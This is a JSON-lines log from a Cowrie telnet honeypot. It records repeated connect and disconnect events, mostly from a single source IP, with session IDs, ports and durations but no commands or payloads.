{"eventid":"cowrie.session.closed","duration":31.134137630462646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:54.763368Z","src_ip":"162.55.233.176","session":"a9aa32665759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.01987409591675,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:54.829089Z","src_ip":"162.55.233.176","session":"563a281ebd8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42966,"dst_ip":"159.203.135.109","dst_port":23,"session":"7432d4ce1852","protocol":"telnet","message":"New connection: 162.55.233.176:42966 (159.203.135.109:23) [session: 7432d4ce1852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:54.863948Z"}
{"eventid":"cowrie.session.closed","duration":34.62412118911743,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:54.869160Z","src_ip":"162.55.233.176","session":"4e33285b4eaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42978,"dst_ip":"159.203.135.109","dst_port":23,"session":"34e30b140330","protocol":"telnet","message":"New connection: 162.55.233.176:42978 (159.203.135.109:23) [session: 34e30b140330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:55.145372Z"}
{"eventid":"cowrie.session.closed","duration":38.23792099952698,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:55.216187Z","src_ip":"162.55.233.176","session":"4e1c62004119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42988,"dst_ip":"159.203.135.109","dst_port":23,"session":"9efde154c301","protocol":"telnet","message":"New connection: 162.55.233.176:42988 (159.203.135.109:23) [session: 9efde154c301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:55.337849Z"}
{"eventid":"cowrie.session.closed","duration":34.759966135025024,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:55.476226Z","src_ip":"162.55.233.176","session":"09dd9954c22a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42998,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5275fa87808","protocol":"telnet","message":"New connection: 162.55.233.176:42998 (159.203.135.109:23) [session: b5275fa87808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:55.658638Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43004,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc04b57623a","protocol":"telnet","message":"New connection: 162.55.233.176:43004 (159.203.135.109:23) [session: 6fc04b57623a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:55.761261Z"}
{"eventid":"cowrie.session.closed","duration":31.416573762893677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:55.771589Z","src_ip":"162.55.233.176","session":"a9332ab94e64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149537324905396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:55.806518Z","src_ip":"162.55.233.176","session":"cebea5898639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43006,"dst_ip":"159.203.135.109","dst_port":23,"session":"24d1f1314d11","protocol":"telnet","message":"New connection: 162.55.233.176:43006 (159.203.135.109:23) [session: 24d1f1314d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:56.069421Z"}
{"eventid":"cowrie.session.closed","duration":3.908536195755005,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:56.174071Z","src_ip":"162.55.233.176","session":"b723e7f0b2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217525482177734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:56.206310Z","src_ip":"162.55.233.176","session":"c44f836ad657","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.541292667388916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:56.355345Z","src_ip":"162.55.233.176","session":"5705af7c11fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.610716819763184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:56.451541Z","src_ip":"162.55.233.176","session":"719e67334579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.324098110198975,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:56.491102Z","src_ip":"162.55.233.176","session":"2a3a779e7ff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43010,"dst_ip":"159.203.135.109","dst_port":23,"session":"559255656cf8","protocol":"telnet","message":"New connection: 162.55.233.176:43010 (159.203.135.109:23) [session: 559255656cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:56.639176Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43020,"dst_ip":"159.203.135.109","dst_port":23,"session":"980325dcd0e7","protocol":"telnet","message":"New connection: 162.55.233.176:43020 (159.203.135.109:23) [session: 980325dcd0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:56.861937Z"}
{"eventid":"cowrie.session.closed","duration":32.1590359210968,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:56.998213Z","src_ip":"162.55.233.176","session":"b0a6a84c6ab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43024,"dst_ip":"159.203.135.109","dst_port":23,"session":"a74a2c3a1052","protocol":"telnet","message":"New connection: 162.55.233.176:43024 (159.203.135.109:23) [session: a74a2c3a1052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:57.100936Z"}
{"eventid":"cowrie.session.closed","duration":32.813652992248535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:57.719288Z","src_ip":"162.55.233.176","session":"4ed993679c72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43034,"dst_ip":"159.203.135.109","dst_port":23,"session":"788692196d99","protocol":"telnet","message":"New connection: 162.55.233.176:43034 (159.203.135.109:23) [session: 788692196d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:57.818322Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43050,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3f52bceaad1","protocol":"telnet","message":"New connection: 162.55.233.176:43050 (159.203.135.109:23) [session: a3f52bceaad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:58.106841Z"}
{"eventid":"cowrie.session.closed","duration":48.611112117767334,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:58.703697Z","src_ip":"188.208.141.113","session":"be8a1c81aed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.69681143760681,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:58.743564Z","src_ip":"162.55.233.176","session":"c705af14a0a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84156155586243,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:58.796630Z","src_ip":"162.55.233.176","session":"c1ec6685c756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43062,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e3a3b3b861d","protocol":"telnet","message":"New connection: 162.55.233.176:43062 (159.203.135.109:23) [session: 9e3a3b3b861d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:58.901012Z"}
{"eventid":"cowrie.session.closed","duration":31.435170888900757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:58.951908Z","src_ip":"162.55.233.176","session":"af4e35dea2ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43066,"dst_ip":"159.203.135.109","dst_port":23,"session":"efa71c2f9b80","protocol":"telnet","message":"New connection: 162.55.233.176:43066 (159.203.135.109:23) [session: efa71c2f9b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:59.239049Z"}
{"eventid":"cowrie.session.closed","duration":36.93688464164734,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:59.699102Z","src_ip":"162.55.233.176","session":"e6a04d7c6b48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66016411781311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:59.839339Z","src_ip":"162.55.233.176","session":"2062e957c8a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43070,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d70516c6585","protocol":"telnet","message":"New connection: 162.55.233.176:43070 (159.203.135.109:23) [session: 9d70516c6585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:00.175474Z"}
{"eventid":"cowrie.session.closed","duration":31.189432859420776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:00.513411Z","src_ip":"162.55.233.176","session":"442d469f1159","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.247679233551025,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:00.586339Z","src_ip":"162.55.233.176","session":"0cd752dfe162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.980491399765015,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:00.978400Z","src_ip":"162.55.233.176","session":"3d74194884f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43084,"dst_ip":"159.203.135.109","dst_port":23,"session":"15d6e4d4f599","protocol":"telnet","message":"New connection: 162.55.233.176:43084 (159.203.135.109:23) [session: 15d6e4d4f599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:01.050079Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43094,"dst_ip":"159.203.135.109","dst_port":23,"session":"35cf5d3cf3b7","protocol":"telnet","message":"New connection: 162.55.233.176:43094 (159.203.135.109:23) [session: 35cf5d3cf3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:01.118886Z"}
{"eventid":"cowrie.session.closed","duration":51.02302169799805,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:01.269381Z","src_ip":"188.208.141.113","session":"04c8bd241eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43118,"dst_ip":"159.203.135.109","dst_port":23,"session":"45fada421acf","protocol":"telnet","message":"New connection: 162.55.233.176:43118 (159.203.135.109:23) [session: 45fada421acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:01.717207Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43128,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b0096b6c75","protocol":"telnet","message":"New connection: 162.55.233.176:43128 (159.203.135.109:23) [session: c6b0096b6c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:01.766830Z"}
{"eventid":"cowrie.session.closed","duration":33.10153889656067,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:01.776978Z","src_ip":"162.55.233.176","session":"eaa14a5514c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43104,"dst_ip":"159.203.135.109","dst_port":23,"session":"128186c8b3e7","protocol":"telnet","message":"New connection: 162.55.233.176:43104 (159.203.135.109:23) [session: 128186c8b3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:02.539833Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43150,"dst_ip":"159.203.135.109","dst_port":23,"session":"048bcadad9d5","protocol":"telnet","message":"New connection: 162.55.233.176:43150 (159.203.135.109:23) [session: 048bcadad9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:02.799318Z"}
{"eventid":"cowrie.session.closed","duration":33.911370515823364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:02.906278Z","src_ip":"162.55.233.176","session":"a13855777198","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43138,"dst_ip":"159.203.135.109","dst_port":23,"session":"37d181968ea6","protocol":"telnet","message":"New connection: 162.55.233.176:43138 (159.203.135.109:23) [session: 37d181968ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:02.923707Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57178,"dst_ip":"159.203.135.109","dst_port":23,"session":"f974dfe05d41","protocol":"telnet","message":"New connection: 162.55.233.176:57178 (159.203.135.109:23) [session: f974dfe05d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:03.229336Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57190,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cdb623ee9ac","protocol":"telnet","message":"New connection: 162.55.233.176:57190 (159.203.135.109:23) [session: 0cdb623ee9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:03.352815Z"}
{"eventid":"cowrie.session.closed","duration":31.307372093200684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:03.474418Z","src_ip":"162.55.233.176","session":"bc9ed4b4f047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57206,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ada7495886a","protocol":"telnet","message":"New connection: 162.55.233.176:57206 (159.203.135.109:23) [session: 6ada7495886a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:03.588761Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57218,"dst_ip":"159.203.135.109","dst_port":23,"session":"16dfea0637d5","protocol":"telnet","message":"New connection: 162.55.233.176:57218 (159.203.135.109:23) [session: 16dfea0637d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:03.594246Z"}
{"eventid":"cowrie.session.closed","duration":30.973358154296875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:03.599153Z","src_ip":"162.55.233.176","session":"a20884dc4c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.488667488098145,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:04.001035Z","src_ip":"162.55.233.176","session":"bcd05d88fa30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57228,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a35f2621f62","protocol":"telnet","message":"New connection: 162.55.233.176:57228 (159.203.135.109:23) [session: 3a35f2621f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:04.053527Z"}
{"eventid":"cowrie.session.closed","duration":31.48627257347107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:04.454776Z","src_ip":"162.55.233.176","session":"154b5578b832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57242,"dst_ip":"159.203.135.109","dst_port":23,"session":"431424275367","protocol":"telnet","message":"New connection: 162.55.233.176:57242 (159.203.135.109:23) [session: 431424275367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:04.569992Z"}
{"eventid":"cowrie.session.closed","duration":31.415452003479004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:04.714321Z","src_ip":"162.55.233.176","session":"4af6d8829476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57256,"dst_ip":"159.203.135.109","dst_port":23,"session":"033efea875f6","protocol":"telnet","message":"New connection: 162.55.233.176:57256 (159.203.135.109:23) [session: 033efea875f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:04.935740Z"}
{"eventid":"cowrie.session.closed","duration":36.4368691444397,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:05.207768Z","src_ip":"162.55.233.176","session":"ed091db0cc7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.352223873138428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:05.271193Z","src_ip":"162.55.233.176","session":"2113b3a832d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57268,"dst_ip":"159.203.135.109","dst_port":23,"session":"6253fc8afb9b","protocol":"telnet","message":"New connection: 162.55.233.176:57268 (159.203.135.109:23) [session: 6253fc8afb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:05.558703Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57272,"dst_ip":"159.203.135.109","dst_port":23,"session":"97650ebeffdb","protocol":"telnet","message":"New connection: 162.55.233.176:57272 (159.203.135.109:23) [session: 97650ebeffdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:05.665203Z"}
{"eventid":"cowrie.session.closed","duration":33.85609149932861,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:05.794955Z","src_ip":"162.55.233.176","session":"184fdf7c26cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57284,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed0dbfb15275","protocol":"telnet","message":"New connection: 162.55.233.176:57284 (159.203.135.109:23) [session: ed0dbfb15275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:06.390736Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57298,"dst_ip":"159.203.135.109","dst_port":23,"session":"401fcec87d8b","protocol":"telnet","message":"New connection: 162.55.233.176:57298 (159.203.135.109:23) [session: 401fcec87d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:06.551422Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57276,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2bca3f4b4a3","protocol":"telnet","message":"New connection: 162.55.233.176:57276 (159.203.135.109:23) [session: a2bca3f4b4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:06.711358Z"}
{"eventid":"cowrie.session.closed","duration":31.42464518547058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:06.900090Z","src_ip":"162.55.233.176","session":"a2e267fc5e50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56086,"dst_ip":"10.17.0.5","dst_port":23,"session":"062aabbb439d","protocol":"telnet","message":"New connection: 188.208.141.113:56086 (10.17.0.5:23) [session: 062aabbb439d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:07.416511Z"}
{"eventid":"cowrie.session.closed","duration":42.33449029922485,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:07.677316Z","src_ip":"206.189.32.23","session":"a68121dc9c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92329216003418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:07.752541Z","src_ip":"162.55.233.176","session":"1abeb1426ab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57308,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfff47502f4d","protocol":"telnet","message":"New connection: 162.55.233.176:57308 (159.203.135.109:23) [session: bfff47502f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:07.771355Z"}
{"eventid":"cowrie.session.closed","duration":33.761651039123535,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:07.779927Z","src_ip":"162.55.233.176","session":"26662b25b2da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57312,"dst_ip":"159.203.135.109","dst_port":23,"session":"235f193fd2b4","protocol":"telnet","message":"New connection: 162.55.233.176:57312 (159.203.135.109:23) [session: 235f193fd2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:07.889599Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57318,"dst_ip":"159.203.135.109","dst_port":23,"session":"136a5f1bc496","protocol":"telnet","message":"New connection: 162.55.233.176:57318 (159.203.135.109:23) [session: 136a5f1bc496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:08.041770Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57334,"dst_ip":"159.203.135.109","dst_port":23,"session":"d75ce5250020","protocol":"telnet","message":"New connection: 162.55.233.176:57334 (159.203.135.109:23) [session: d75ce5250020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:08.094923Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57340,"dst_ip":"159.203.135.109","dst_port":23,"session":"136ce9df875c","protocol":"telnet","message":"New connection: 162.55.233.176:57340 (159.203.135.109:23) [session: 136ce9df875c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:08.310316Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57348,"dst_ip":"159.203.135.109","dst_port":23,"session":"d10f4910b824","protocol":"telnet","message":"New connection: 162.55.233.176:57348 (159.203.135.109:23) [session: d10f4910b824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:08.462076Z"}
{"eventid":"cowrie.session.closed","duration":31.78975248336792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:08.510279Z","src_ip":"162.55.233.176","session":"7c9c293cc8e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.869184255599976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:08.560582Z","src_ip":"162.55.233.176","session":"2a4274c10f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57364,"dst_ip":"159.203.135.109","dst_port":23,"session":"a49d528f555d","protocol":"telnet","message":"New connection: 162.55.233.176:57364 (159.203.135.109:23) [session: a49d528f555d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:08.681805Z"}
{"eventid":"cowrie.session.closed","duration":37.59105610847473,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:04:08.890037Z","src_ip":"162.55.233.176","session":"3b27c34e6d14","protocol":"telnet"}
